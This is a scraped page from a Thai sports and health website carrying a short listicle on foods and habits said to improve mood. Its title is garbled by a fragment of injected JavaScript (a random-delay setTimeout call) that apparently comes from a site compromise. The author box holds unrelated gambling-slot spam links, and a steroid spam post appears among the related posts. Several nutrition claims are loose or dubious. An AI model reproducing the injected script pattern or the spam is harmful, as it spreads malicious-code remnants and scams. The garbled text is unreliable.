• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Feature

Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood

Kanthad Yangsattha by Kanthad Yangsattha
2 February 2015
in Feature, Healthy Tips, Tips & Technics
0
Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood : อาหารและอารมณ์

เราไม่สามารถควบคุมทุกสิ่งทุกอย่างได้ แต่คุณสามารถเลือกอะไรบางอย่างในชีวิตประจำวัน เพื่อปรับปรุงสภาพร่างกายและจิตใจของคุณ อย่างเช่น ด้วยตัวเลือกอาหารที่อร่อยเหล่านี้

-ชาเขียว: ช่วยให้สงบและให้พลังงานทั้งวัน

cup-2176_1280

-ข้าวโอ๊ตบด: มีใยอาหารที่ดีต่อสุขภาพ มีคุณสมบัติช่วยลดคอเลสเตอรอล ลดอาการอยากอาหาร

-อาหารทะเล: Aphrodisiac และ Selenium ช่วยลดความเครียด

-ช็อกโกแลตดำ: ช่วยผ่อนคลายกล้ามเนื้อ ช่วยลดความกังวลและภาวะซึมเศร้า

chocolate-551424_1280

-ปลาแซลมอน: ช่วยในการพัฒนาสุขภาพจิต อารมณ์ดี เหมือนวิ่งตากแดดยามเช้า 5 นาที

-วอลนัท: มีเส้นใยและกรดโอเมก้า3 ช่วยลดไขมันและลดความอยากอาหารของคุณ

-ถั่วเลนทิล: มีกรดโฟลิค, เส้นใย, โปรตีนและช่วยให้ระดับน้ำตาลในเลือดคงที่

chana-390705_1280

-ผักขม: มีสารต้านอะนุมูลอิสระป้องกันเซลล์สมองและเสถียรภาพทางอารมณ์

-อะโวกาโด: ดีสำหรับผิว ผม และเล็บเล็บคุณ

avocado-71567_1280

-บลูเบอร์รี่ , สตรอเบอร์รี่: ดีสำหรับผู้ที่เป็นโรคริดสีดวงทวารโรคท้องร่วงและอาการติดเชื้อ

-เครื่องดื่มคาเฟอีนให้น้อยลง: ทำให้มีการนอนหลับที่ดีขึ้นและมีความรู้สึกดีขึ้นทุกๆวัน

-สัตว์เลี้ยงของคุณ: ช่วยให้ใจลืมปัญหาไปพักหนึ่ง

.hedgehog-468228_1280

-ออกกำลังกาย: ทำให้คุณรู้สึกว่าดูเซ็กซี่ขึ้น

-ช็อกโกแลตร้อน: ช่วยให้ระลึกถึงความหลังที่ดี ดื่มแต่พอดีนะ

-ไวน์แดง: ช่วยลดความเครียดและความดันโลหิต แต่ควรดื่มอย่างพอเหมาะ

wine-541922_1280

-กล้วย: ช่วยเพิ่มพลังงานให้กับคุณและเพิ่มสมาธิ

-อาหารที่คุณชอบ: คุณจะรู้สึกดีขึ้นทันที

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

  • Emas168
  • Emas168 Vip
  • Daftar Akun Emas168
  • Akun Vip Slot Emas168
  • Daftar Akun Vip Slot
  • Related Posts

    ! Без рубрики

    Sustanon 250 steroid: tutto cio che devi sapere

    23 August 2023
    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS
    News

    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    3 May 2023
    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
    News

    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    9 December 2022
    Load More
    • 12.1k Fan
    • 22 Follower
    • 30 Follower

    บทความยอดนิยมใน 7 วันนี้

    • วิธีคำนวณ Maximum Heart Rate

      วิธีคำนวณ Maximum Heart Rate

      0 shares
      Share 0 Tweet 0
    • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

      0 shares
      Share 0 Tweet 0
    • เฟรมสำเนา เหมือนแค่ไหนยังไงก็คือของปลอม!

      0 shares
      Share 0 Tweet 0
    • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

      0 shares
      Share 0 Tweet 0
    • 5 วิธีลงคอร์ควิ่งเพื่อเพิ่มความเร็ว

      0 shares
      Share 0 Tweet 0

    ทดสอบ

    ทดสอบ

    StepExtra

    STEP EXTRA

    Run more, Spin More

    เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

    • เกี่ยวกับเรา
    • ติดต่อลงโฆษณา

    บทความล่าสุด

    Sustanon 250 steroid: tutto cio che devi sapere

    23 August 2023
    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    “ไฮเออร์” เตรียมจัดงานวิ่ง HAIER RUN 2023 INSPIRE FUTURE DREAMS

    3 May 2023
    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

    9 December 2022

    Browse by Category

    • ! Без рубрики
    • Event
      • Cycling Event
      • Running Event
      • Triathlon Event
    • Feature
    • Interview
    • News
      • Cycling News
      • Gadget News
      • Gear News
      • Healthy News
      • PR
      • Running News
      • Shoes
    • Place & Route
      • Cycling
      • Running
    • Reviews
      • Gadget Review
      • Shoes Review
      • Sport Gear
    • Tips & Technics
      • Cycling Tips
      • Gadget Tips
      • Healthy Tips
      • Running Tips
      • Training
    • Travel

    Partner

    • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

    © 2014STEP EXTRA

    • ข่าวสาร
    • บทวิจารณ์
    • เกร็ดความรู้
    • สถานที่-เส้นทาง
    • Sport Caravan Camping
    No Result
    View All Result
    • ข่าวสาร
      • Running News
      • Bicycle
      • Healthy News
      • Gadget News
      • Shoes
    • บทวิจารณ์
      • Shoes Review
      • Gadget Review
      • Sport Gear
    • เกร็ดความรู้
      • Running Tips
      • Cycling Tips
      • Training
      • Healthy Tips
      • Gadget Tips
    • สถานที่-เส้นทาง
      • Running
      • Cycling
    • Sport Caravan Camping

    © 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

    This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.